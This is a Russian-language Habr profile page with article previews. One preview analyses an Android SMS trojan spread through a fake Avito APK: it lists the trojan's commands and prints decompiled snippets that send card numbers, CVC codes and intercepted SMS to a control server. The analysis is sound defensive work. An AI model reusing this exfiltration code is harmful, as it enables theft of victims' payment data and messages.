Pull to refresh
4
0

User

Send message

Опыт алгоритмической композиции на языке ChucK

Reading time 6 min
Views 3K

Целую неделю (23.01-31.01.2018) в арт-галерее «Дар» (Псков) работала выставка, озвученная при помощи программы на языке Chuck. Я попытаюсь рассказать, почему и как все это получилось.
Читать дальше →
Total votes 14: ↑14 and ↓0 +14
Comments 0

Как получить стажировку

Reading time 12 min
Views 45K
Доброго времени суток! Приближается сезон подачи заявок на стажировку в зарубежные компании и поэтому я хотел бы представить вниманию Хабрахабра статью Эрика Янга «How to Get an Internship». Она охватывает довольно большой объем подготовки к стажировке в рамках одного поста. Я старался снизить количество ошибок и опечаток, но таковые наверняка найдутся, поэтому пишите в личные сообщения.

Где-то год назад я написал в блог заметку о моем опыте участия в различных стажировках. Благодаря этому посту я стал заметнее для рекрутеров и устроился на работу в Google.


Я также стал получать много писем на email от студентов, у которых были вопросы по поводу стажировок. Каждый раз, когда я получаю такое письмо, мое эго увеличивается примерно в два раза. Спасибо вам.



В этом посте я поделюсь своей стратегией по прохождению интервью для стажировки. Я давненько хотел написать что-то подобное, но боялся, что пост будет похож на "универсальный ответ", потому что большАя часть моего успеха — это удача.

Читать дальше →
Total votes 30: ↑23 and ↓7 +16
Comments 5

Минималистичный Мобильный Лейаут

Reading time 1 min
Views 2.7K
мим В нашей работе часто встречаются задачи по вёрстке мобильных версий сайтов. Бывает очень сложно начать вёрстку мобильной версии без прототипа приложения. А бывает так, что мобильная версия нужна, а бюджет на неё не предусмотрели. Но лучше иметь хоть какой-то мобильный сайт, чем совсем никакого. В таких случаях на помощь приходит mimlМинималистичный Мобильный Лейаут.

miml — это всего лишь 2 картинки, 4 стиля и 1 html файл шаблона.
Читать дальше →
Total votes 21: ↑2 and ↓19 -17
Comments 11

История Искусственного Интеллекта, часть 2. Нейросетевой ИИ — неизбежно или невозможно?

Reading time 6 min
Views 9.8K
Когда я еще только задумывал писать эту статью, я знал о нейросетях только то, что они вроде как копируют процесс мышления нашего мозга. Я и не подозревал, как я тогда ошибался.
В то время, когда кибернетики еще только начинали играть в свои игрушки, другие более серьезные ученые, работали над более серьезной проблемой. На основании нейрофизиологических данных о строении нейронов, клеток нашего мозга, они пытались воссоздать их структуру. Это было за несколько лет, до того самого семинара, где впервые заговорили об ИИ.
Читать дальше →
Total votes 32: ↑28 and ↓4 +24
Comments 84

KitKat Android 4.4 Unboxing (и даже краткий обзор)

Reading time 3 min
Views 52K

В этой статье я произвожу анбоксинг. Не ожидайте конкретных параметров или подробных отчётов с графиками.


Не так давно компания Google выпустила новую версию своей операционной системы для мобильных устройств — Android 4.4 KitKat. Многие из вас знают, что каждая из версий этой операционной системы имела кроме своего порядкового номера ещё и название — и это были сладости. Google начинала с Apple Pie, и каждое следующее крупное обновление называла какой-то другой вкуснятиной, следуя банальному алфавиту для первой буквы. И вот, в итоге они добрались до буквы K. Большинство посвящённых людей были уверены, что очередная версия системы будет иметь название Key Lime Pie, однако совсем недавно Google решила иначе. Теперь последняя версия системы, имеющая порядковый номер 4.4, называется KitKat, как и одноимённый шоколадный батончик от небезызвестной компании Nestle.
И вот, понимаете, одновременно с запуском Android 4.4 KitKat был запущен и Google Nexus 5 — новый смартфон, о котором многие читали и почти все знают. Однако многие не знают, что совместно компаниями Google и Nestle был запущен ещё один продукт — и это шоколадка KitKat с определённым дизайном обложки. Буквально на днях я зашёл в продуктовый магазин и увидел этот продукт на полке. Я спросил у кассира «Как давно его завезли?», и она мне ответила «Вчера». Сегодня я делаю её анбоксинг на радость тем, кому этот продукт ещё не привезли.
image
Я не претендую на полноценный обзор, хотя основные характеристики осветить планирую.
Кого заинтересовало — прошу под кат.
Читать дальше →
Total votes 548: ↑409 and ↓139 +270
Comments 111

Как я позорно деактивировал ботнет

Reading time 10 min
Views 191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →
Total votes 368: ↑362 and ↓6 +356
Comments 143

Взаимодействие с модемом в ОС Android

Reading time 2 min
Views 30K
В предыдущей статье я рассказал про то, как устроен слой радиоинтерфейса в ОС Android. Сегодня я расскажу о том, как можно взаимодействовать непосредственно с модемом.
Зачастую бывает, что планшет с 3G модемом не предоставляет возможности позвонить, отправить SMS-сообщение и даже узнать баланс счёта. В этой статье мы будем с этим бороться, а так же увидим как использовать весь функционал, предоставляемый модемом.
Как вы уже знаете, RIL производителя переводит запросы ОС Android в понятный модему виду. Как правило для взаимодействия с модемом используется множество стандартизованных Hayes AT-команд, тем не менее, некоторые производители модемов дополняют стандартный набор AT-команд своими собственными расширениями. Сегодня мы будем работать на уровне между RIL производителя и модемом.

Читать дальше →
Total votes 21: ↑20 and ↓1 +19
Comments 0

Information

Rating
Does not participate
Registered
Activity